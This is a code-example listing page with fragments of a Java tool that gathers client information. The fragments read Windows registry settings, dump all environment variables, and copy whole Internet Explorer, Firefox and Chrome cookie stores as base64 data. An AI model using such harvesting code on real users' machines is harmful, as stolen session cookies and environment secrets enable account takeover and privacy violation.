Package com.googlecode.righettod.cip.vo

Examples of com.googlecode.righettod.cip.vo.ClientInformation


      valuesToRead.add("LOGONSERVER");
      valuesToRead.add("HOMEPATH");
      for (String s : valuesToRead) {
        keyValueName = s;
        keyValue = WindowsRegistry.getKeySz(WindowsRegistry.HKEY_CURRENT_USER, keyName, keyValueName);
        data.add(new ClientInformation(InformationSource.WINDOWS_REGISTRY, String.format(tpl, keyName, keyValueName, defaultString(keyValue))));
      }

      /* Read user windows location infos */
      keyName = "Control Panel\\International\\Geo";
      keyValueName = "Nation";
      keyValue = WindowsRegistry.getKeySz(WindowsRegistry.HKEY_CURRENT_USER, keyName, keyValueName);
      data.add(new ClientInformation(InformationSource.WINDOWS_REGISTRY, String.format(tpl, keyName, keyValueName, defaultString(keyValue))));

      /* Read regional settings infos */
      keyName = "Control Panel\\International";
      valuesToRead.clear();
      valuesToRead.add("LocaleName");
      valuesToRead.add("sLanguage");
      valuesToRead.add("sCountry");
      valuesToRead.add("iCountry");
      for (String s : valuesToRead) {
        keyValueName = s;
        keyValue = WindowsRegistry.getKeySz(WindowsRegistry.HKEY_CURRENT_USER, keyName, keyValueName);
        data.add(new ClientInformation(InformationSource.WINDOWS_REGISTRY, String.format(tpl, keyName, keyValueName, defaultString(keyValue))));
      }
    }
    catch (Exception e) {
      LOG.warn("Cannot read Windows registry keyName:'{}' keyValueName:'{}'", keyName, defaultString(keyValueName), e);
    }
View Full Code Here


   */
  public List<ClientInformation> grabFromEnvironmentVariables() {
    List<ClientInformation> data = new ArrayList<>();

    for (Map.Entry<String, String> eVar : System.getenv().entrySet()) {
      data.add(new ClientInformation(InformationSource.ENVIRONMENT_VARIABLES, eVar.getKey() + "=" + defaultString(eVar.getValue())));
    }

    return data;
  }
View Full Code Here

        @Override
        public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException {
          if (attrs.isRegularFile()) {
            byte[] content = Files.readAllBytes(file);
            data.add(new ClientInformation(InformationSource.IE_COOKIES, DatatypeConverter.printBase64Binary(content)));
          }
          return FileVisitResult.CONTINUE;
        }

        @Override
        public FileVisitResult visitFileFailed(Path file, IOException e) {
          // Ignore error
          return FileVisitResult.CONTINUE;
        }
      });

      /* Grab Firefox cookies (SQLLite DB file) */
      // Determine location
      if (this.isAboveXPVersionCache) {
        // Vista and above
        path = "C:\\Users\\%s\\AppData\\Local\\Mozilla\\Firefox\\Profiles";
      } else {
        // XP and below
        path = "C:\\Documents and Settings\\%s\\Application Data\\Mozilla\\Firefox\\Profiles";
      }
      // Parse recursively storage location (get cookies for all profiles)
      Files.walkFileTree(Paths.get(String.format(path, System.getenv("USERNAME"))), new SimpleFileVisitor<Path>() {

        @Override
        public FileVisitResult preVisitDirectory(Path dir, BasicFileAttributes attrs) {
          return FileVisitResult.CONTINUE;
        }

        @Override
        public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException {
          if ("cookies.sqlite".equalsIgnoreCase(file.getFileName().toString())) {
            byte[] content = Files.readAllBytes(file);
            data.add(new ClientInformation(InformationSource.FIREFOX_COOKIES, DatatypeConverter.printBase64Binary(content)));
          }
          return FileVisitResult.CONTINUE;
        }

        @Override
        public FileVisitResult visitFileFailed(Path file, IOException e) {
          // Ignore error
          return FileVisitResult.CONTINUE;
        }
      });

      /* Grab Chrome cookies (SQLLite DB file) */
      // Determine location
      if (this.isAboveXPVersionCache) {
        // Vista and above
        path = "C:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default";
      } else {
        // XP and below
        path = "C:\\Documents and Settings\\%s\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default";
      }
      // Parse recursively storage location
      Files.walkFileTree(Paths.get(String.format(path, System.getenv("USERNAME"))), new SimpleFileVisitor<Path>() {

        @Override
        public FileVisitResult preVisitDirectory(Path dir, BasicFileAttributes attrs) {
          return FileVisitResult.CONTINUE;
        }

        @Override
        public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException {
          if ("Cookies".equalsIgnoreCase(file.getFileName().toString())) {
            byte[] content = Files.readAllBytes(file);
            data.add(new ClientInformation(InformationSource.CHROME_COOKIES, DatatypeConverter.printBase64Binary(content)));
            return FileVisitResult.TERMINATE;
          }
          return FileVisitResult.CONTINUE;
        }

View Full Code Here

TOP

Related Classes of com.googlecode.righettod.cip.vo.ClientInformation

Copyright © 2018 www.massapicom. All rights reserved.
All source code are property of their respective owners. Java is a trademark of Sun Microsystems, Inc and owned by ORACLE Inc. Contact coftware#gmail.com.